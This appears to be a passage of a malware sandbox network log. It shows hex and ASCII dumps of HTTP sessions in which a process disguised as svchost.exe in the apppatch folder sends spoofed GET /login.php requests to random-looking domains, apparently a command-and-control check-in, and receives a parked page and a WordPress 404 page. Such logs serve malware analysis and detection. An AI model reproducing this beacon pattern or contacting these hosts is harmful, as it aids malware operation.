2024-11-11 17:50:49 UTC	1369	IN	Data Raw: 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6a 73 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 2d 69 74 65 6d 20 61 2e 72 65 6d 6f 76 65 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 74 68 69 6e 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 7d 69 6e 70 75 74 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 70 Data Ascii: .woocommerce-js .woocommerce-mini-cart-item a.remove:focus-visible{outline-style:dotted;outline-color:inherit;outline-width:thin;border-color:transparent;}input:focus,input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	54647	75.2.71.199	443	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 17:50:49 UTC	267	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com Connection: Keep-Alive
2024-11-11 17:50:49 UTC	352	IN	HTTP/1.1 200 OK Alt-Svc: h3=":443"; ma=2592000 Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate Content-Type: text/html; charset=utf-8 Date: Mon, 11 Nov 2024 17:50:49 GMT Etag: "75apqkf46g19wv" Server: Caddy Server: awselb/2.0 Vary: Accept-Encoding X-Powered-By: Next.js Connection: close Transfer-Encoding: chunked
2024-11-11 17:50:49 UTC	2372	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 38 30 78 31 38 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 70 75 62 6c 69 63 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31 Data Ascii: 8000<!DOCTYPE html><html lang="en-US"><head><meta charSet="utf-8"/><link rel="apple-touch-icon" sizes="180x180" href="https://d15wejze7d2tlj.cloudfront.net/v1/public/apple-touch-icon.png"/><link rel="icon" type="image/png" sizes="32x32" href="https://d1
2024-11-11 17:50:49 UTC	1724	IN	Data Raw: 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 31 35 35 61 35 35 36 2d 37 32 37 37 64 32 30 35 62 33 61 39 36 64 64 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 37 37 39 62 62 35 65 2d 65 33 34 61 63 36 66 32 62 33 32 65 65 39 62 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f Data Ascii: ext/static/chunks/b155a556-7277d205b3a96dd1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/chunks/b779bb5e-e34ac6f2b32ee9b1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/
2024-11-11 17:50:49 UTC	4744	IN	Data Raw: 78 2d 63 6f 6c 20 67 61 70 2d 32 20 6d 62 2d 36 22 3e 3c 68 32 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 78 6c 20 66 6f 6e 74 2d 62 6f 6c 64 20 73 6d 3a 74 65 78 74 2d 32 78 6c 22 3e 49 6e 71 75 69 72 65 20 74 6f 64 61 79 20 74 6f 20 73 65 63 75 72 65 20 74 68 69 73 20 64 6f 6d 61 69 6e 3c 2f 68 32 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 73 6d 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 73 6d 3a 74 65 78 74 2d 62 61 73 65 22 3e 50 6c 65 61 73 65 20 63 6f 6d 70 6c 65 74 65 20 74 68 65 20 66 6f 72 6d 20 62 65 6c 6f 77 20 61 6e 64 20 77 65 20 77 69 6c 6c 20 63 6f 6e 6e 65 63 74 20 79 6f 75 20 77 69 74 68 20 6f 6e 65 20 6f 66 20 6f 75 72 20 64 6f 6d 61 69 6e 20 65 78 70 65 72 74 73 2e Data Ascii: x-col gap-2 mb-6"><h2 class="font-Inter text-xl font-bold sm:text-2xl">Inquire today to secure this domain</h2><span class="font-Inter text-sm font-normal sm:text-base">Please complete the form below and we will connect you with one of our domain experts.
2024-11-11 17:50:49 UTC	5930	IN	Data Raw: 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 44 45 22 3e 44 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 34 39 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 50 45 22 3e 50 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 31 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 4d 58 22 3e 4d 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 32 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 55 22 3e 43 55 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 33 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e Data Ascii: -- -->)</option><option value="DE">DE... --> (+... -->49... -->)</option><option value="PE">PE... --> (+... -->51... -->)</option><option value="MX">MX... --> (+... -->52... -->)</option><option value="CU">CU... --> (+... -->53... -->)</option
2024-11-11 17:50:49 UTC	7116	IN	Data Raw: 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 36 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 59 22 3e 43 59 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 37 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 41 58 22 3e 41 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 46 49 22 3e 46 49 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 42 47 22 3e 42 47 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 Data Ascii: --> (+... -->356... -->)</option><option value="CY">CY... --> (+... -->357... -->)</option><option value="AX">AX... --> (+... -->358... -->)</option><option value="FI">FI... --> (+... -->358... -->)</option><option value="BG">BG... --> (+...
2024-11-11 17:50:49 UTC	8302	IN	Data Raw: 69 63 65 2d 72 65 71 75 65 73 74 2d 66 6f 72 6d 2d 69 64 22 20 74 69 74 6c 65 3d 22 47 65 74 20 70 72 69 63 65 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 65 6e 64 49 63 6f 6e 3d 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 65 6e 74 65 72 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 31 2e 35 20 6d 78 2d 61 75 74 6f 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 32 22 3e 47 65 74 20 70 72 69 63 65 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 Data Ascii: ice-request-form-id" title="Get price" aria-label="Get price" label="Get price" endIcon="[object Object]"><span class="flex justify-center items-center gap-1.5 mx-auto"><div class="flex items-center gap-2">Get price<svg xmlns="http://www.w3.org/2000/svg"
2024-11-11 17:50:49 UTC	2586	IN	Data Raw: 30 2e 33 76 2e 30 36 37 68 2d 2e 31 33 36 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 56 2e 37 36 48 39 2e 39 36 76 2e 30 36 38 68 2d 2e 31 33 36 76 2e 30 36 37 68 2d 2e 30 36 38 76 2e 30 36 38 48 39 2e 36 39 76 2e 30 36 38 48 39 2e 36 32 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 31 33 35 76 2e 30 36 37 48 39 2e 33 35 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 39 2e 30 38 76 2e 30 36 38 48 39 2e 30 31 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 76 2e 30 36 37 48 38 2e 37 34 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 38 Data Ascii: 0.3v.067h-.136v.068h-.068v.068h-.067V.76H9.96v.068h-.136v.067h-.068v.068H9.69v.068H9.62v.068h-.068v.068h-.135v.067H9.35v.068h-.068v.068h-.068v.068h-.068v.067H9.08v.068H9.01v.068h-.068v.068h-.068v.068h-.067v.067H8.74v.068h-.068v.068h-.068v.068h-.068v.067H8
2024-11-11 17:50:49 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-11 17:50:49 UTC	4096	IN	Data Raw: 36 38 38 31 0d 0a 65 6e 74 43 6f 6c 6f 72 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 39 2e 36 37 20 34 2e 34 37 34 68 2d 33 2e 39 34 36 76 31 31 2e 32 38 37 68 33 2e 39 34 35 63 33 2e 36 30 36 20 30 20 35 2e 39 35 2d 32 2e 32 31 35 20 35 2e 39 35 2d 35 2e 36 32 37 20 30 2d 33 2e 34 32 39 2d 32 2e 33 34 34 2d 35 2e 36 36 2d 35 2e 39 35 2d 35 2e 36 36 6d 2d 31 2e 36 38 33 20 39 2e 33 36 32 56 36 2e 33 38 32 68 31 2e 36 30 31 63 32 2e 33 37 38 20 30 20 33 2e 37 32 20 31 2e 34 30 37 20 33 2e 37 32 20 33 2e 37 35 32 73 2d 31 2e 33 34 32 20 33 2e 37 30 32 2d 33 2e 37 32 20 33 2e 37 30 32 7a 6d 31 37 2e 39 38 32 2d 32 2e 35 35 34 63 30 2d 32 2e 38 33 2d 32 2e 30 32 32 2d 34 2e 36 32 35 2d 34 2e 36 30 39 2d 34 2e 36 32 35 73 Data Ascii: 6881entColor" fill-rule="evenodd" d="M29.67 4.474h-3.946v11.287h3.945c3.606 0 5.95-2.215 5.95-5.627 0-3.429-2.344-5.66-5.95-5.66m-1.683 9.362V6.382h1.601c2.378 0 3.72 1.407 3.72 3.752s-1.342 3.702-3.72 3.702zm17.982-2.554c0-2.83-2.022-4.625-4.609-4.625s
2024-11-11 17:50:49 UTC	13046	IN	Data Raw: 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 35 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 31 33 35 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 31 33 35 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 37 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 38 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 31 33 36 Data Ascii: 068h-.068v-.068h-.135v-.068h-.136v-.068h-.136v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.068v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.136v-.135h-.067v-.068h-.068v-.068h-.068v-.135h-.068v-.068h-.068v-.068h-.067v-.136h-.068v-.067h-.068v-.136h-.068v-.136

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	54664	188.114.96.3	443	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 17:50:50 UTC	267	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com Connection: Keep-Alive
2024-11-11 17:50:51 UTC	953	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Nov 2024 17:50:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MYr8LF0YWpKwE%2FeGgprbyoxD3mDw%2FFuiiBCLXrs092U9A%2FGelKYQNWQBm0fQkPz8ck1%2B7o7Qg2%2BuzcuNa5NagmuRU9DeRnWQQ8ACGqyOCyIUvfMyaOhi49TP%2BtD1Fw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e10207ffc1f0cc2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1284&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2824&recv_bytes=881&delivery_rate=2028011&cwnd=249&unsent_bytes=0&cid=942c420829deedf4&ts=853&x=0"
2024-11-11 17:50:51 UTC	416	IN	Data Raw: 37 63 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e Data Ascii: 7ca4<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
2024-11-11 17:50:51 UTC	1369	IN	Data Raw: 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 Data Ascii: </style><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><meta
2024-11-11 17:50:51 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e Data Ascii: nction c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.can
2024-11-11 17:50:51 UTC	1369	IN	Data Raw: 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53 4f Data Ascii: ined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSO
2024-11-11 17:50:51 UTC	1369	IN	Data Raw: 29 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69 66 69 Data Ascii: ).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);</script><link rel='stylesheet' id='astra-theme-css-css' href='https://qegyhig.com/wp-content/themes/astra/assets/css/minifi
2024-11-11 17:50:51 UTC	1369	IN	Data Raw: 73 69 74 65 2d 64 65 73 63 72 69 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 65 6e 74 72 79 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 7d 68 31 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 3b 66 6f Data Ascii: site-description{font-size:15px;font-size:0.9375rem;display:none;}.entry-title{font-size:26px;font-size:1.625rem;}h1,.entry-content h1{font-size:40px;font-size:2.5rem;font-weight:600;line-height:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem;fo
2024-11-11 17:50:51 UTC	1369	IN	Data Raw: 5d 3a 3a 2d 77 65 62 6b 69 74 2d 73 6c 69 64 65 72 2d 74 68 75 6d 62 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 7d 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 68 6f 76 65 72 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 66 6f 63 75 73 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 31 30 34 30 34 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d Data Ascii: ]::-webkit-slider-thumb{border-color:#d10404;background-color:#d10404;box-shadow:none;}.site-footer a:hover + .post-count,.site-footer a:focus + .post-count{background:#d10404;border-color:#d10404;}.single .nav-links .nav-previous,.single .nav-links .nav-
2024-11-11 17:50:51 UTC	1369	IN	Data Raw: 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 69 66 62 2d 63 74 61 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 75 61 67 62 2d 62 75 74 74 6f 6e 73 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 62 62 2d 6d 6f 64 75 6c 65 2d 63 6f 6e 74 65 6e 74 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 70 6f 73 74 2d 67 72 69 64 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 